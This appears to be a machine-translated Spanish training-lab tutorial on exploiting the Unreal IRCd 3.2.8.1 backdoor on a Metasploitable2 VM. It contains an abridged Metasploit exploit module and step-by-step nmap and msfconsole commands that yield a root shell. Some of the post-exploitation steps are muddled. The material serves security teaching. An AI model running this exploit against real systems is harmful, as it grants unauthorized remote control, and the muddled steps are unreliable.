Explotación de la Vulnerabilidad de Unreal IRCd con Nmap y Metasploit

NmapNmapBeginner
Practicar Ahora

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En este laboratorio, aprenderemos cómo explotar el servicio Unreal IRCd en la máquina objetivo Metasploitable2 alojada en la plataforma LabEx. Comenzaremos por entender la vulnerabilidad en el servicio Unreal IRCd y luego realizaremos un escaneo de vulnerabilidades utilizando Nmap. Después de identificar el servicio vulnerable, aprovecharemos el marco Metasploit para explotar la vulnerabilidad y obtener una shell remota en la máquina objetivo. Finalmente, validaremos nuestra explotación exitosa ejecutando comandos en el sistema comprometido.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) wireshark(("Wireshark")) -.-> wireshark/WiresharkGroup(["Wireshark"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") wireshark/WiresharkGroup -.-> wireshark/interface("Interface Overview") wireshark/WiresharkGroup -.-> wireshark/packet_capture("Packet Capture") wireshark/WiresharkGroup -.-> wireshark/packet_analysis("Packet Analysis") subgraph Lab Skills nmap/installation -.-> lab-416126{{"Explotación de la Vulnerabilidad de Unreal IRCd con Nmap y Metasploit"}} nmap/port_scanning -.-> lab-416126{{"Explotación de la Vulnerabilidad de Unreal IRCd con Nmap y Metasploit"}} nmap/host_discovery -.-> lab-416126{{"Explotación de la Vulnerabilidad de Unreal IRCd con Nmap y Metasploit"}} nmap/target_specification -.-> lab-416126{{"Explotación de la Vulnerabilidad de Unreal IRCd con Nmap y Metasploit"}} nmap/service_detection -.-> lab-416126{{"Explotación de la Vulnerabilidad de Unreal IRCd con Nmap y Metasploit"}} wireshark/interface -.-> lab-416126{{"Explotación de la Vulnerabilidad de Unreal IRCd con Nmap y Metasploit"}} wireshark/packet_capture -.-> lab-416126{{"Explotación de la Vulnerabilidad de Unreal IRCd con Nmap y Metasploit"}} wireshark/packet_analysis -.-> lab-416126{{"Explotación de la Vulnerabilidad de Unreal IRCd con Nmap y Metasploit"}} end

Comprender la vulnerabilidad de Unreal IRCd y iniciar el entorno de experimentación

La versión 3.2.8.1 de Unreal IRCd contiene una vulnerabilidad de backdoor (CVE-2010-2075) que permite a los atacantes remotos ejecutar código arbitrario en el sistema afectado. La vulnerabilidad se encuentra en la macro DEBUG3_DOLOG_SYSTEM, que incluye código malicioso externo que un atacante puede aprovechar.

Información relevante:

El módulo de Metasploit para explotar esta vulnerabilidad:

A continuación, se presenta una breve descripción del módulo de Metasploit:

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      #... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

Ahora, iniciarás la máquina de ataque (contenedor de Kali Linux) y la máquina objetivo (máquina virtual Metasploitable2) para el experimento.

  1. Abre una terminal xfce en la máquina host de LabEx e inicia la máquina objetivo Metasploitable2 ejecutando el siguiente comando:
sudo virsh start Metasploitable2

Espera a que la máquina objetivo se inicie, puede tardar de 1 a 3 minutos.

  1. Prueba la conectividad a la máquina objetivo mediante un ping:
ping 192.168.122.102

Presiona Ctrl+C para detener el ping.

  1. Inicia el contenedor de Kali Linux y entra al entorno bash ejecutando:
docker run -ti --network host b5b709a49cd5 bash
  1. Dentro del contenedor de Kali, prueba la conexión de red a la máquina objetivo:
ping 192.168.122.102

Presiona Ctrl+C para detener el ping.

Ahora, tanto la máquina de ataque como la máquina objetivo están en funcionamiento, y puedes comenzar la prueba de penetración.

Nota: Si sales accidentalmente del bash actual, el contenedor de Kali se detendrá automáticamente. Puedes ejecutar docker run -ti --network host b5b709a49cd5 bash nuevamente en el host para iniciar un nuevo contenedor de Kali y entrar en bash para continuar con el experimento.

Realizar un escaneo de vulnerabilidades

En este paso, realizaremos un escaneo de vulnerabilidades en la máquina objetivo para identificar los puertos abiertos y los servicios que se ejecutan en esos puertos. Utilizaremos la potente herramienta Nmap (Network Mapper) para este propósito.

  1. Inicia la consola de Metasploit en el contenedor de Kali Linux:
cd ~
msfconsole
  1. Dentro de la consola de Metasploit, utiliza el comando nmap para escanear la máquina objetivo:
nmap -sV -T4 192.168.122.102

La opción -sV habilita la detección de versiones para los puertos abiertos, y -T4 establece la política de tiempo en un nivel agresivo (1 - 5, cuanto mayor sea, más rápido).

La salida debe mostrar un puerto abierto 6667 que ejecuta el servicio unreal ircd.

Presiona Ctrl+D para salir de la consola de Metasploit y luego comienza la inspección

Explotar la vulnerabilidad de Unreal IRCd

Ahora que hemos identificado el servicio vulnerable de Unreal IRCd que se ejecuta en el puerto 6667, podemos proceder a explotarlo utilizando el marco Metasploit.

  1. En primer lugar, si no estás en la consola de Metasploit, debes iniciar la consola de Metasploit:
cd ~
msfconsole
  1. En la consola de Metasploit, busca el módulo unreal_ircd_3281_backdoor:
search unreal_ircd_3281_backdoor
  1. Carga el módulo:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Establece el host objetivo:
set RHOST 192.168.122.102
  1. Ejecuta la explotación:
exploit

Si la explotación es exitosa, deberías obtener una shell remota en la máquina objetivo.

Presiona Ctrl+D para salir de la consola de Metasploit y luego comienza la inspección

Validar la explotación

Para validar que la explotación fue exitosa, podemos ejecutar comandos en la shell remota obtenida en el paso anterior.

  1. En primer lugar, si no estás en la consola de Metasploit, debes iniciar la consola de Metasploit:
cd ~
msfconsole
  1. Verifica el usuario actual con el comando whoami:
whoami
  1. Verifica el nombre del host con el comando hostname:
hostname
  1. Verifica la dirección IP con el comando ifconfig:
ifconfig

Si la salida muestra root como el usuario actual, metasploitable como el nombre del host y la dirección IP coincide con la de la máquina objetivo (192.168.122.102), confirma que la explotación fue exitosa y que has obtenido control completo sobre el sistema objetivo.

Presiona Ctrl+D para salir de la consola de Metasploit y luego comienza la inspección

Resumen

En este laboratorio, aprendimos sobre la vulnerabilidad de Unreal IRCd y cómo explotarla utilizando el marco Metasploit. Comenzamos por comprender la vulnerabilidad y su impacto, luego realizamos un escaneo de vulnerabilidades para identificar el servicio vulnerable. Después de encontrar el servicio Unreal IRCd que se ejecuta en el puerto 6667, utilizamos el módulo de Metasploit adecuado para explotar la vulnerabilidad y obtener acceso remoto a la máquina objetivo. Finalmente, validamos nuestra exitosa explotación ejecutando comandos en el sistema comprometido. Este laboratorio proporcionó experiencia práctica en el análisis de vulnerabilidades, la explotación y la validación posterior a la explotación, que son habilidades esenciales para los hackers éticos y los profesionales de ciberseguridad.